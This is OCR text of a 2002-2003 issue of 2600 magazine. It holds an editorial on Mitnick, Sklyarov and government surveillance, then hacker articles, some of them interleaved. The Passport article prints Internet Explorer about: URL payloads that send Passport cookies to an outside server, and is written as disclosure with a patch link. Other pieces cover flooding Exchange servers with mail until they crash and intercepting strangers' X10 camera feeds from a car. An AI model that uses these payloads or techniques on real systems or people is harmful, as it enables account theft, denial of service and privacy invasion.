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"Voice or no voice, the people can always be brought
to the bidding of the leaders. That is easy. All you have
to do is tell them they are being attacked, and denounce
the peacemakers for lack of patriotism and exposing
the country to danger. It works the same in any country."
- Hermann Goering, Hitler's designated successor,
before being sentenced to death at the Nuremberg trials.
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In the fast paced culture that we seem to find
ourselves caught in the middle of, it's very easy
to get stuck in a default mood of euphoria or de-
spair. Lately it seems that we've been despairing
quite a bit. We're certainly not alone.

While it's very important to not lose sight of
the bad and ominous things that are happening
in the world of technology and what it could do
to people like us, nothing is gained if we lose
our overall positive outlook. We certainly
couldn't have kept on publishing for nearly
twenty years if we didn't feel a strong sense of
hope for the future.

There will never be a shortage of negative
issues to focus upon. Let's take a brief moment
to look at the positive developments.

By the time you read this (and hopefully bar-
ring any last minute unfortunate circum-
stances), the excruciatingly long ordeal of
Kevin Mitnick will have finally reached an end.
January 20, 2003 was the date that Mitnick's su-
pervised release came to an end - three years af-
ter his release from prison. That means that he
will once again be able to use the Internet, travel
without having to ask permission, and talk to
anyone he wishes to without having to check to
see if they've ever been convicted of a crime.
Most of us take these freedoms for granted so
it's hard to even imagine what life must be like
without them.

In these past three years, Mitnick has be-
come a model for someone who can overcome
adversity and triumph in the end. Despite five
years of isolation and the aforementioned re-
strictive conditions upon his release, he refused
to let the system defeat him. The authorities
made it almost impossible for him to earn a liv-
ing - insisting that he not be allowed anywhere
near a computer and at one point suggesting that
he pursue a career in fast food. Instead Mitnick
landed a job at a major talk radio station and an-
swered listener questions about technology. He
had kept himself educated on all the technologi-
cal advances, despite being incarcerated and
forbidden from experimenting with them upon
his release. More recently he had a book pub-
lished on the intricacies of social engineering
and went on a government-approved speaking
tour to promote it. Throughout this, Mitnick

found time to testify before a Senate subcom-
mittee on the dangers of bad technology and un-
informed people. He also provided key
evidence in a case against Sprint who had the
audacity to claim that their switches were
unhackable.

It would have been easy to dwell on the neg-
ative in this case - and there certainly was no
shortage of negativity. After all, Mitnick hadn't
actually had a real day of freedom since 1988
meaning that when all is said and done, fifteen
years will have gone by since this all started.
And in all that time, there was never a charge
filed against Mitnick of anything more substan-
tial than making free phone calls and looking at
source code that didn't belong to him. It was all
an incredible waste of time. But we get nowhere
by letting our bitterness dictate how we live. We
have everything to gain by continuing forward
in our spirit of curiosity, education, and
rebellion against conformity.

There's always a price to pay in order to take
those steps and sometimes it's a heavy price.
Dmitry Sklyarov spent time in an American
prison and was unable to return to his native
Russia for nearly six months - simply because
he wrote a program that could be used in a way
that violated the absurd Digital Millennium
Copyright Act. It made no difference that he
wrote the program in another country. Even
Adobe, the company that originally pressed
charges against Sklyarov, realized how ridicu-
lous the whole thing was and tried to drop it.
But it was too late and the American justice sys-
tem went to work, eventually putting Sklyarov's
company (Elcomsoft) on trial instead in ex-
change for his testimony. The authorities didn't
count on the defendants putting on a strong fight
and they didn't count on the massive show of
support for Sklyarov.

There's a reason so few cases ever make it to
a jury. People are rightfully terrified of the sys-
tem and what it can do to them. It's ironic that it
took someone from outside our country to stand
up to the system and refuse to be intimidated.
The trial took place in December and it only
took the jury one day to rule in Sklyarov's and
Elcomsoft's favor.
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Part of the DMCA stipulates that there has to
be intent and this was something the jury was
unable to find in this case. It doesn't address the
overall stupidity of the law itself which means
there will be more such cases. But it's a good
start and a significant step towards fixing the
numerous problems caused by this horrible leg-
islation. And most importantly, it's proof that
determination and standing by one's convictions
can ultimately lead to victory.

We have to also remember that there's a big
world out there, one that doesn't always initially
grasp the importance of the issues we value. It's
easy to dismiss the general public as ignorant
and pawns of the mass media. But, as in all
things, the truth is never quite that simple. The
general public can get it, they do tend to value
the things that we do, and they are most defi-
nitely not the enemy. The jury in the Elcomsoft
case is living proof of this. The key is getting
the message out.

Over the past year or so we've reported
(along with many others) some of the really bad
ideas that have been passed down from Capitol
Hill as a "response" to terrorism - things like the
Patriot Act, the Homeland Security color
scheme, Operation TIPS, Total Information
Awareness, etc. And while many of these things
are still around, public awareness and public
criticism has soared - and it's most definitely
made a difference.

People are taking more time to think these
things through and more of them seem to be re-
alizing that diminishing our freedoms really is-
n't going to accomplish a whole lot - other than
diminishing our freedoms. We've seen less talk
of the alert status color coding system as it
becomes mocked more than it's used.

The TIPS system was heavily criticized for
its Stasi-like system of informing on one's
neighbors and having untrained civilians prowl-
ing around looking for potential thoughtcrime.
And in true Orwellian style, all mention of TIPS
was removed from the citizencorps.gov website
where it had been prominently featured. It never
happened.

The Total Information Awareness initiative
is still very much with us. In their own words,
TIA is meant to be a "total reinvention of tech-
nologies for storing and accessing informa-
tion... although database size will no longer be
measured in the traditional sense, the amounts
of data that will need to be stored and accessed
will be unprecedented, measured in petabytes.”
All of this will supposedly identify terrorists by

having every conceivable bit of data easily
available - from medical records to credit card
purchases to Internet activity. It doesn't take
much to figure out that since they don't know
who the terrorists are they will have to scruti-
nize all of us using these yet to be invented
tools. It's clearly a sensitive topic for the folks at
Defense Advanced Research Projects Agency
(DARPA) who won't even reveal how much
money is being allocated for this. While public
pressure has yet to kill this beast, it's probably
one of the few things that can. Public ridicule
has already put an end to the TIA logo - a pyra-
mid with an all seeing eye within it, apparently
looking out over the globe. That also never
happened.

As we go to press, yet another monitoring
plan is being announced - this time one that
makes Carnivore look friendly. It's part of a re-
port entitled "The National Strategy to Secure
Cyberspace" and it would require Internet Ser-
vice Providers to participate in a centralized
system that would theoretically allow the entire
Internet to be monitored along with its users.
The apparent frustration the government is feel-
ing is summed up in this statement by one of the
plan's coordinators: "We don't have anybody
that is able to look at the entire picture. When
something is happening, we don't know it's hap-
pening until it's too late." That is why the plan
will fail. What they want is not only impossible
but it flies in the face of everything the net rep-
resents. It would be the equivalent of wiretap-
ping everyone at all times and we suspect most
people just aren't going to go for that. Expect a
backlash on this like nothing we've ever seen -
if this scheme even makes it to spring.

Absurd and ridiculous as some of these
plans may be, it's no excuse for not remaining
vigilant and fighting those who endanger our
freedom. Our victories may appear to be few
and far between but they are quite significant.
As is the fact that none of them could have been
accomplished without a degree of organization
and activism. Whether the cause is ending the
suffering of a single person, overturning a really
bad law, or preserving everyone's right to pri-
vacy, reaching out to like-minded individuals
and helping to make it a major issue is critical.
It's gotten us this far and it will continue to be
our strongest weapon.
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by Chris Shiflett
chris@shiflett.org

This article is a follow-up article to "Pass-
port Hacking," an article published in 18:3.
Much of the information here is given under
the assumption that you are familiar with the
original article, so you should read it first. The
original article was the first to reveal the secu-
rity vulnerability in Microsoft Passport that
prompted Microsoft to discontinue the Passport
service for a short period of time while im-
provements were made. Other articles have ap-
peared since the original, and it has been
translated into several different languages. Un-
fortunately, the Passport mechanism possesses
the same fundamental flaws that it did when the
original article was written, though attempts
have been made to mitigate these risks by im-
posing shorter timeout periods and requiring
users to re-authenticate themselves more often.

Background

In "Passport Hacking," I introduced the Mi-
crosoft Passport mechanism and its inherent in-
security ~characterized by a complete
dependence on cookies. Though cookies can be
an adequate means of maintaining state in
HTTP transactions, they are a poor choice for
user authentication. Using cookies and URL
variables, Microsoft communicates with Pass-
port enabled sites through the user alone; there
is no server to server communication. This is
the fundamental design flaw that exposes Pass-
port users to all of the security vulnerabilities
that have been published to date.

The vulnerability used to compromise a
Passport account in the original article involved
using a malformed URL to expose a user's
cookies to an unauthorized website. This vul-
nerability only existed in Microsoft Internet
Explorer versions 4.0 - 5.0, so this technique
could not be used to compromise the Passport
account of people using Internet Explorer ver-
sions 5.5 and 6.0. This article will demonstrate
a technique that can be used to compromise the
accounts of people who use these newer ver-
sions of Internet Explorer and will direct Inter-
net Explorer users to the patch that will fix this
vulnerability.

The Vulnerability

The vulnerability that exists in Internet Ex-
plorer versions 5.5 and 6.0 was originally al-
luded to on the web at http://www.solutions-
fi/index.cgi/news_2001_11_08ang=eng. In
order for a website to gain unauthorized access
to a user's cookies, an about: URL is used to de-
ceive the web browser so that it executes client-
side scripts in the local context with regards to
security restrictions. Thus, a client-side script
can potentially have as much access to your
computer as you do.

An example of a URL exploiting this vul-
nerability is the following:
about://<script%?20language=javascript>alert('This
%20browser%20is%20vulnerable.")</script>

A vulnerable browser will execute this
client-side script, which will display the fol-
lowing alert box:

Microsoft Internet E #p,‘,l,mé[

The significance of this is more extreme
than this example illustrates. Because Internet
Explorer executes this client-side script in the
local context, this script has fewer security re-
strictions than client-side scripts that Internet
Explorer believes to be sent from a remote web
server. In addition, we can make a simple mod-
ification to our URL to make the domain check-
ing mechanism in Internet Explorer mistake the
URL for one from any domain we choose when
it checks for cookie restrictions. For example:
about://www.passport.com/<script%20language=j
avascript>alert(document.cookie)</script>

If you are currently logged into Microsoft
Passport when visiting this URL, an alert box
similar to the following will appear:
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rosoft Internet Explorer

All cookies that would be made available to a
server-side script in the www.passport.com do-
main will appear in the alert box. The significance
of this example is that we now have a technique
for executing a client-side script that has access to
any cookies from any domain we choose. When
combined with Passport's complete dependence
on cookies, the danger should be clear.
The Compromise

The only step remaining for a complete com-
promise is to establish a method to get the cook-
ies sent to the web server where they can be
stored and subsequently retrieved by the im-
poster. To do this, I will use a URL similar to the
last example, except that the script will redirect
the user to a remote URL and append the cookie
data in the query string of that URL:

about://www.passport.com/<script%20lan-
guage=javascript>document.location:'http://shi—
flett.org/demos/passport_hacking_revisited/?coo
kies='+document.cookie</script>

The most dangerous characteristic of this
technique is that no interaction from the user is
required. Because of this characteristic, an at-
tacker can redirect the user through many URLs
that will compromise the cookies from many dif-
ferent domains rather than just one. This makes
Internet Explorer versions 5.5 and 6.0 even more
dangerous than the previous versions with re-
gards to cookies. In addition, this compromise is
even easier to achieve than the original, requiring
very little expertise on the part of the attacker.
Once the cookies are stored on the web server,

a technique must be established to store these
cookies on an imposter's web browser. Many
methods can be utilized for this step, and the orig-
inal article gives sample code for one. This final
step will complete the impersonation, and the im-
poster can then pose as the user whose account
was compromised by visiting any Passport
enabled website.
Summary

Due to the fundamental flaws in the design of
the Passport mechanism, I do not recommend that
it be used in conjunction with sensitive data or
personal information. The convenience is not
worth the security risks, and it is likely that this
article does not represent the last of such risks. As
I mentioned earlier, the mechanism itself is fun-
damentally flawed; articles such as this merely
describe techniques that can be used to exploit
these flaws.

For those who are currently using a vulnerable
Web browser and wish to continue to use it, visit
http://www.microsoft.com/windows/ie/down-
loads/critical/q313675/default.asp and install the
security patch. There are many websites that uti-
lize cookies in order to maintain state, and using a
yulnerable browser places you at risk of many at-
tacks similar to the one described here.

An interactive demonstration of the technique
described in this article is located at http:/shi-
flett.org/demos/passport_hacking_revisited/.

LAZY EXCHANGE ADMINS

by ddShelby

Security in Exchange is or should be a con-
cern for many admins out there because of its
fairly widespread use in many small to mid sized
organizations. It does have some worthy features
but also has some serious security concerns (like
everything from Redmond) that need to be at-
tended to. And that is the purpose of this article.
To inform and educate those who read it and
maybe expose a few Exchange admins to some
information they might find useful. So let's get
started.

As an admin you have the ability to create an
account during install that is not the same as the
default administrator account in the OS. But not
many elect to do this because of the log on/log off
hassle to administer the OS along with a separate
account to administer Exchange. If a separate Ex-
change admin account was not created at the time
of install (which is almost always the case) and
it's an NT4 server, then it's almost guaranteed that
administrator@whoever.com exists, because you
can't rename the administrator account for the OS
in NT. If it's a Win2K server with Exchange 5.5

Winter 2002-2003
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or Exchange 2000, the same is also true. But with
the ability to rename the default administrator ac-
count in the OS, there is a chance it was renamed
at the time of setup. In both cases (assuming de-
fault) the administrator account for the OS has an
SMTP address that follows the convention: ad-
ministrator@whoever.com. If the OS is NT4,
then it's a shoe-in unless the SMTP settings were
edited by the admin. This is the problem.
Some Basics of Exchange

The standard version of Exchange 5.5 and
2000 both have a limit on the size of either the
public or private database (priv.edb and pub.edb).
They cannot exceed 16 GB each. The Enterprise
versions of 5.5 and 2000 are not limited to any-
thing except available drive space. With server
drive space still somewhat costly (assuming the
server runs with some form of SCSI and raid),
reaching this limit is not difficult for most organi-
zations of a dozen users or more. Two reasons
why it's so easy to get to 16 GB or reach the
server's available drive space limit is the disre-
gard of most admins towards limiting users' mail-
box size and the users' habit of using Outlook
deleted items folder as an archive folder. The ad-
min has the ability to force notification limits on
users' mailbox size on either a global or per user
basis. The spam issue is also partly to blame since
everyone just deletes it, but the mentality of using
the deleted items folder as an archive comes back
to haunt again, only adding to the total size of the
database. So the 16 GB limit is in many cases
closer than one might think. This is especially
true if none of the limits were ever put in place
and the server has been in use for a year or longer.
It's made worse by the fact that small organiza-
tions don't need a monster server to run Exchange
5.5 and with the hardware requirements set forth
by Win2K server, many have elected to stay with
NT4 and Exchange 5.5. An NT4/Exchange 5.5
server could easily serve a dozen users on a P200
with 32 megs of ram and a single 10 GB IDE
drive. Don't laugh, I've seen it.

Getting back to the point. Any Exchange
server is vulnerable to getting swamped and not
by some new hack. You can crash Exchange by
simply knowing any e-mail address of any recipi-
ent on any given server. The ugly part is this
could potentially happen over days or weeks or
even months before it's even noticed or it's just
too late. Since Exchange by default has an ac-
count assigned to the Administrator of the OS, an
SMTP address exists for it. If you assume that the
administrator account is not actually in use but
still exists, one could theoretically swamp an Ex-
change server by sending numerous e-mails with
large bogus attachments. Or if the sender's ISP
does not impose limits on the size of outgoing

mail, one large attachment could do the same. To
use any general user's address is slightly more
difficult since users usually read their mail. But
the administrator account is almost never used
since admins set up an address for themselves and
use it instead.

As drive space comes close to zero available,
the Exchange service that handles SMTP (IMS)
shuts down and all incoming mail is rejected. But
since the information store service (the database)
usually continues to run, and if the admin is smart
enough to check the private information store
listed in Exchange Admin, he would see the
tremendous size of the mailbox and then just log
into it and clean it out. An easy fix for this is to
just edit the SMTP address of the administrator
account to something obscure. In addition, you
could disable any unused SMTP addresses to help
prevent getting swamped. A periodic check of
available drive space or the size of the .edb files
would be useful, but seems to escape many
admins.

But Wait, It Gets Worse

As opposed to reaching the drive space limit,
if the 16GB database limit is reached instead, it
becomes a whole different story. If the Enterprise
version is installed before the 16 GB limit is
reached, then disaster can be avoided. However,
if the 16GB limit is reached before upgrading, the
information store service is shut down automati-
cally and can't be restarted. The result from this
is all incoming SMTP messages are rejected at
the server and no user can log in to their respec-
tive mailbox. And the admin can't get the service
started to log in and delete the offending content.
As an admin you can purchase the Enterprise edi-
tion for two grand, but installing it on top of the
standard edition doesn't quite solve the problem.
All is not lost - there is a workaround for this
listed in the Knowledge Base that explains how to
copy the database into the active folder (usually
exchsrysMDBDATA) after you install the Enter-
prise version. But if the database has reached the
16GB limit you'll be copying for a while. If the
admin is savvy enough, he could play the game of
just renaming folders instead of copying. But
with so many Windows admins who changed ca-
reers from grocery bagging, it's unlikely they're
smart enough to figure that out. And as the
Knowledge Base article suggests to copy the .edb
file, it seems to me that at least one employee at
Redmond didn't figure it out either. Admins could
also defrag the database with a utility included
with Exchange in the exchsrvr\bid folder called
eseutil (both 5.5 and 2000). This would buy
enough time to delete enough and recover. But if
the SMTP service IMS is running and email is
still incoming, it could be a race to delete before it
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reaches its limit again. In addition, the defrag
needs drive space equal to or greater than the size
of the database. But this inevitably brings me
back to admins who were bagging groceries six
months ago. Another safety net would be to im-
plement a second MX record for the domain with
a higher cost route, so any incoming mail rejected
by Exchange would be collected on another ma-
chine. Then with ETRN you could dequeue the
mail from the higher cost server and no mail
would be lost.
Discovery of a Server

Regardless of the presence of a firewall, by
using one of the many port scanners an Exchange
server is easy to find. I use Super Scan on my

by Particle Bored

Are you having a hard time figuring out what
to do with your X10 camera now that you are
done playing practical jokes on friends and fam-
ily? For less than $50 you can put the X10 re-
ceiver in your car and begin screwing around
with complete strangers.

Standard disclaimer: 1 don't accept responsi-
bility for my own actions, so I definitely won't as-
sume responsibility for yours. If TV's in vehicles
are illegal in your area, or should you get decapi-
tated from a TV flying around in your car it's your
problem.

Here is what you will need to get started:

Jensen J53-BW TV/Monitor (only $25 at Target)

X10 Receiver

DC Power cord with "L" connector

DC Power "Y" adapter

Velcro

The Jensen TV is a 5" black and white
portable monitor that has both video and audio
RCA input jacks. It can run on AC, DC, or batter-
ies and comes with a car lighter adapter.

The X10 receiver is intended for indoor use,
so it is shipped with only an AC adapter. If you
look at the output of the adapter though, you'll see
that it is 12 volt DC which means you can run the
receiver straight off your car battery. Since I
wanted the system to be easily removed, I de-
cided to power it with another lighter cord (the
one with the "L" connector). It is positive-tipped,
so make sure you have the polarity right.

Now plug everything together. Nearly all of
the connectors can only go in one place. The
RCA connectors are fully color-coded, so if you

Win2K laptop but many others work just the
same. A scan of a range of addresses to port 25
will eventually reveal an open port. If it's an Ex-
change server it will identify itself as such, as
well as the version and build. For example: 25
SMTP 220 server.domain.whoever.com ESMTP
Server (Microsoft Exchange Internet Mail Ser-
vice 5.5.2653.13) ready. In this example it's a 5.5
SP4 server. With that, the domain is known, the
administrator address can be correctly assumed
95 percent of the time or better, and the rest is up
to any delinquent with nothing better to do. Or at
some point some worm will make its way to the
Internet and play this same game, only faster.

can't figure out how to do it, fire up the IM client
on your Mac and ask your grandmother.

I mounted the monitor and receiver on my
dashboard with Velcro. If this method obstructs
your view you can put the monitor on the passen-
ger seat or floor. Make sure you don't mount any-
thing where it might hinder the deployment of an
airbag.

Now hit the road. 1 found my first camera
within 60 seconds on the very next block. I
typically find one about every 15 minutes.

In closing here are a few things I learned the
first day:

- Don't worry about the channel switch on
your receiver - most folks leave it on the default
channel "A".

- The transmitters have a range of only around
100 yards so you will need to be somewhat close
to your target.

- You'll tend to get audio before video, so
you'll know you are onto something when the sta-
tic on the TV goes away. Keep your eyes on the
road and pull over when you start receiving
audio.

- You'll notice several definite patterns appear
on the monitor at times. For example, I have seen
both narrow and wide horizontal lines. If you
identify the devices that cause them, write to the
Letters section of 2600 and let everyone know. |
would bet one of them is a 2.4 GHz cordless
phone....

- I was able to get perfect cable TV twice. Is
someone using wireless for extensions or
something?
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by Gr3y t0qu3
greytoque @ paladindesign.ca

While we as hackers have an obsession with
freedom of speech we also have an obsession
with data destruction. I wrote this article to quell
my - and many other peoples' - interest in the lat-
ter specifically dealing with CDs. "I've heard
nuking the CD in a microwave is not 100 percent
successful in destroying the data" was stated in
"How to Hack From a Ram Disk" in 18:4. I tried
to find information on this topic but there really
is none out there, so I decided to take this task on
for myself.

When I started doing research for this article I
realized that there are many ways to destroy CD-
ROM, CD-R, and CD-RW media. The first
things I found were targeted towards commercial
uses. I found products that used "micro indenta-
tion" to "reliably penetrate the data surface of
target media, destroying any readable data" and
as a side effect the CD went from round to an
oval shape. Sure sounds good, right? Well if you
have $5k to waste it's great. Then there's some
that grind away the recording surface. The one I
found cost $10k. Both of these solutions are not
priced for the average person. Simply deleting
the files from a CD-ROM/R/RW won't work ei-
ther. There are plenty of software suites out there
for recovering data from them. I found one for
$39.95 and there was even a free 30 day trial. So
if you have a low tech adversary you're hiding
the data from even that wouldn't work. The soft-
ware can also recover data from quick formatted
CD-RWs, where the data is left there just to be
overwritten at a later time (the same concept as
recovering deleted data from your hard drive -
the reference to the data in the drive table is re-
moved, the data isn't touched). Let's get to the
main point of the article: Does data destruction
with a microwave really work?

First, to understand if the microwave is an ef-
fective way to destroy data you need to under-
stand how CDs are made. All three types of CD
(CD-ROM, CD-R, and CD-RW) are different. In
the next little while I'm going to look at the three
different types and explore if it will work for
each.

CD-ROMs are exactly what they say, CDs
with Read Only Memory. Most of a CD-ROM
consists of a piece of clear polycarbonate plastic.
During manufacturing, this plastic is impressed

with microscopic pits arranged as a single, con-
tinuous, extremely long spiral track of data. Once
the plastic is formed, a thin, reflective aluminum
layer is "sputtered" onto the disc, covering the
bumps. Then a thin acrylic layer is sprayed over
the aluminum to protect it. A CD reader reads
CD-ROMs by sending out a laser beam that
passes through the plastic layer, reflects off the
aluminum layer and hits a device that detects
changes in the amount of light it receives. The
bumps, commonly called pits because if you
could see them they would look like pits from the
label side of the CD-ROM, reflect the light dif-
ferently from the lands. The lands are the rest of
the aluminum layer. The aluminum layer is very,
very thin. When you nuke a disk, large currents
flow through the aluminum. These currents pro-
duce enough heat to vaporize the aluminum. You
then see a very small lightning storm as electric
arcs go through the vaporized aluminum. There
will be many paths left etched through the alu-
minum after this. So with the aluminum vapor-
ized a CD player won't be able to read the data
anymore. Because of the extreme heat of the alu-
minum the plastic above and below the alu-
minum would also be damaged. I'd be guessing
the aluminum paths left would be horribly
warped. Just think about what would happen to
you if you were subjected to that kind of heat.
I'm fairly confident that this is a 100 percent se-
cure method of data destruction as you would not
be able to somehow inject a new reflective mate-
rial and fill up the microscopic pits as they would
be damaged. Sure, that's all great if you happen
to have a Windoze CD sitting around that you
don't want anyone to have to experience the
horror of.

So what about CD-Rs? Instead of there being
pits imprinted into the plastic of a CD-R there is
an extra layer. This extra layer is a greenish dye
right below the reflective material. A write laser
heats up the dye layer enough to make it opaque.
The read laser in a CD player senses the differ-
ence between clear dye and opaque dye the same
way it senses bumps - it picks up on the differ-
ence in reflectivity. So when you nuke a CD-R
the gold/aluminum layer vaporizes. If that is the
only effect then it would be possible to cut the
CD where the aluminum/gold layer used to be
and then put a reflective substance on top of it
and stick it in a CD player. This would require
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very, very fine instruments as a CD is only
1.2mm thick. But the main variable is how hot
the aluminum/gold is when it vaporizes and if it
is hot enough to change the state the dye is in -
from transparent to making the whole disk
opaque to a reader. From looking at a few nuked
CD-Rs I think that most data would be lost. On a
blank CD that is nuked, there is a "loose swirly"
pattern of the different shades (written and un-
written), effectively making true data impossible
to find. On CDs with data it would do the same
and so a lot of data would be lost. So on CD-Rs
it's not really a guaranteed process of having
your data fully and completely removed. Al-
though if you're up against someone like the
NSA/FBI/CIA who are going to all the trouble to
find that information you have far bigger prob-
lems on your hands and I'm guessing you'd never
see a public court.

CD-RWs are a little different again. Instead
of the dye layer there's a phase-change com-
pound composed of silver, indium, antimony,
and tellurium. This recording layer is sand-
wiched between dielectric layers that draw ex-
cess heat from the phase-change layer during the
writing process. A CD-RW drive has to use three
different lasers: a read laser, a write laser, and an
erase laser. To write to a CD a laser beam heats
areas of the phase-change material above the
melting temperature (500-700C), so all the atoms
in this area can move rapidly into a liquid state.
Then, if cooled quickly enough, the random lig-
uid state does not reorder its atoms back into a
crystalline state. To erase, a laser heats the same

area to above the crystallization point - 200C -
and then lets it cool quickly so that the atoms re-
order themselves. The read laser is much less
powerful. The dielectric layers that are above and
below the phase-change compound are by defini-
tion "poor conductors of electricity and will sus-
tain the force of an electric field passing through
it." So that would not allow much of the electric
field caused by the microwave to be able to reach
the phase-change compound layer where the data
is stored. But then again, it's not made to stand
the bombardment by a microwave. Also, it's a
heat insulator so the temperatures caused by the
reflective layer vaporizing will not affect it too
much either. So again with advanced tools it
might be possible to remove the damaged
material and put on a new reflective layer.

Unfortunately I have no way to find this out
for sure. I would like someone to write a follow-
up to this article with actual lab data (Univer-
sity). As you can see it is not known if
microwaving is a 100 percent secure form of data
removal for CD-Rs and RWs. It is one of the
most secure options there is. It should hold up
unless you have POTUS (President of the United
States) really pissed off at you. Local police
agencies and the FBI probably do not have the
technology to retrieve data from a nuked CD.
Most of the people who argue that this is possible
also argue that "they" would just go back in time
to before you nuked the CD....

Greetz: Spiffy and Sypher.

BANKRUPTCY SERVICES LLC. AS
DISP AGENT FOR PSINET LIQUIDATING LLC

Three Dollars 12 Cents
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P OBOX 848
MIDODLE ISLAND, NY 11953
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NEW YORK, NY 10022 }
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‘ ORIZED SIGNATURE i o

00 %403 wO2L00 088 OL2BO33I7EN {

Some of you may remember a problem we had with a company called PSI back in 1995. To put it
briefly, we were misled into signing a contract for ISDN service that didn't exist and almost lost a
sizable down payment. Once we publicized the situation and stuck audio evidence of their deceit
on our website, we got a refund in full. More recently, PSI went bankrupt (and no, we don't feel
guilty). For some reason we wound up on their list of creditors and eventually received this check.
They also managed to rename us from 2600 to 5393. We don't really understand any of it but if
this is how they ran things, we may understand how they went bust.

Winter 2002-2003
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How to Make a DVD Bacuup

by Maniac_Dan

Disclaimer: Copying DVDs to sell or DVDs
you do not own is illegal and immoral and
should not be done.

After reading the letter in 19:3 questioning
the methods of DVD copying, I decided to write
an article detailing exactly how it's done, or at
least get it close enough for normal people to
make backups of their DVDs. I've only tested
this on Region 1 NTSC DVDs. Readers in other
countries should find a guide for their region
and video format. Sorry. I also find it useful to
bring a stack of VCDs with me on trips, since
my laptop doesn't have DVD capabilities. Any-
way, I'm going to detail the methods for ripping
to either AVI, VCD, or SVCD. Some of the
steps are the same, but for steps that are differ-
ent, I will assign them both a number and a let-
ter, so 3(A) is the AVI instructions, 3(V) is
VCD, and 3(S) is SVCD. Any step that applies
to all three formats will have no letters. In order
to rip to AVI, you need Smartripper and
DVD2AVI. To rip to VCD and SVCD, you need
these files plus TMpgEnc and BBMpeg. Also,
for the ripping process to work on XP or some
versions of 2K, you need a valid aspi layer dri-
ver. To burn your CDs you need software that
supports VCD and SVCD burning, like Nero.
(Links for these programs are the end of this ar-
ticle.) Now for the steps:

1: Insert the DVD and play it for a few sec-
onds in a software DVD player. This will "un-
lock" the DVD and allow you to rip it using
Smartripper.

2: Load up Smartripper and take a look
around. At the bottom of the screen is a "Target"
box which needs to be filled in with a valid
folder name. The rest of the first page is chapter
selection for if you only want to rip certain
scenes (like Monty Python sketches). The sec-
ond tab is called "Stream Processing” and al-
lows you to select the languages and special
tracks you want ripped. I usually just rip them
all and then only convert the English track, but
if you're hard pressed for drive space, then cut
out what you don't want. Next, click the settings
tab. Under settings, I recommend setting key-
check to "Every VOB File" and filesplitting to

"Max Filesize". Now set the max-filesize to
10,000MB (10gb). This way the movie will be
ripped to one big file on your hard disk. (Warn-
ing! This is only possible with NTFS. If you
have a FAT file system, set max-filesize to
4,000MB.)

3: Click start and wait until the DVD is
finished. It shouldn't take more than an hour.

4: Fire up DVD2AVI. Once again, I recom-
mend taking a look around the program before
blindly trying to follow my steps. Go to file-
Jopen. A blank box will appear with three but-
tons on the left side. Click "Add" and add the
file(s) you just ripped to the box, then click OK.

5: Press F5 to make sure the movie looks
OK and the VOB files are in the right order. You
will not have audio and the video will be fast.
This is normal. Make note of the aspect ratio on
the box that pops up along the right side. You
are almost ready to convert to either AVI or
d2v/wav. Check your menu settings. For audio:
Track number should be "1", channel format
should be "Auto", Dolby Digital should be "De-
code", MPEG Audio should be "Demux", and
48-144.1 should be off. Video settings should be
left alone.

6(A): AVI users rejoice! This is the last step
for you! Go to file-]save AVI, pick a filename
and location, and click "Save". Now a box pops
up asking you to select your preferred video
compression method. Choose your poison (I
recommend DivX 5.0.2) and click OK, then sit
back for a few hours while it converts. If the file
is too large, find an AVI splitter out there. I've
heard AVIChop is good.

6(VS): VCD and SVCDs need a few more
steps. Still in DVD2AVI, click file-]save pro-
ject. Name the project and click "Save". It will
run through the movie file once or twice and
then beep when it finishes. This process should
take less than the ripping process, but it depends
on your processor. Once it's done, write down
the contents of the "Aspect Ratio" and "Video
Type" boxes. We need that information for
TMpgEnc.

7: (From now on, all unlettered steps refer to
VCD and SVCD only, since AVI users should
have stopped reading this already.) Now we
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